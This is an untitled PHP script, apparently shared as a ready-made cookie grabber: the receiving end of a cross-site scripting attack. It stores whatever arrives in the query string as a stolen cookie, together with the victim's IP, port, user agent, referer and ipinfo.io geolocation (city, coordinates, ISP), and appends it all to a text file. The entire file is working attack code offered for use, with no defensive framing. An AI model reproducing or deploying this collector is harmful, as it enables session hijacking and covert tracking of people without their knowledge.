Untitled

<?php
function GetIP() 
{ 
	if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
		$ip = getenv("HTTP_CLIENT_IP"); 
	else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
		$ip = getenv("HTTP_X_FORWARDED_FOR"); 
	else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
		$ip = getenv("REMOTE_ADDR"); 
	else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
		$ip = $_SERVER['REMOTE_ADDR']; 
	else 
		$ip = "unknown"; 
	return($ip); 
} 
function logData() 
{ 
	$ipLog = "information.txt"; 

	$cookie = $_SERVER['QUERY_STRING']; 

	$register_globals = (bool) ini_get('register_gobals'); 

	if ($register_globals) $ip = getenv('REMOTE_ADDR'); 
	else $ip = GetIP(); 
	$rem_port = $_SERVER['REMOTE_PORT']; 
	$user_agent = $_SERVER['HTTP_USER_AGENT'];
	if (isset( $_SERVER['METHOD'])){
		$rqst_method = $_SERVER['METHOD'];
	}
	else{
		$rqst_method = "null";
	}
	if (isset( $_SERVER['REMOTE_HOST'])) {
		$rem_host = $_SERVER['REMOTE_HOST'];
	}
	else{
		$rem_host = "null";
	}
	if (isset($_SERVER['HTTP_REFERER'])) {
		$referer = $_SERVER['HTTP_REFERER'];
	}
	else
	{
		$referer = "null";
	}
	$date=date ("Y/m/d G:i:s"); 
	$log=fopen("$ipLog", "a+"); 


	// I use this site to get more infos about the IP addy such as city, ISP, location
	$ip_details = json_decode(file_get_contents("http://ipinfo.io/{$ip}/json"));


// Write all data we got in 'information.txt'
	fwrite($log, "IP=" . $ip . PHP_EOL);
	fwrite($log, "PORT=" . $rem_port . PHP_EOL);
	fwrite($log, "CITY=" . $ip_details->city . PHP_EOL);
	fwrite($log, "REGION=" . $ip_details->region . PHP_EOL);
	fwrite($log, "COUNTRY=" . $ip_details->country . PHP_EOL);
	fwrite($log, "LOCATION=" . $ip_details->loc . PHP_EOL);
	fwrite($log, "ISP=" . $ip_details->org . PHP_EOL);
	fwrite($log, "DATE=" . $date . PHP_EOL);
	fwrite($log, "HOST=" . $rem_host . PHP_EOL);
	fwrite($log, "UA=" . $user_agent . PHP_EOL);
	fwrite($log, "METHOD=" . $rqst_method . PHP_EOL);
	fwrite($log, "REF=" . $referer . PHP_EOL);
	fwrite($log, "COOKIE=" . $cookie . PHP_EOL . PHP_EOL);

} 
logData();
?>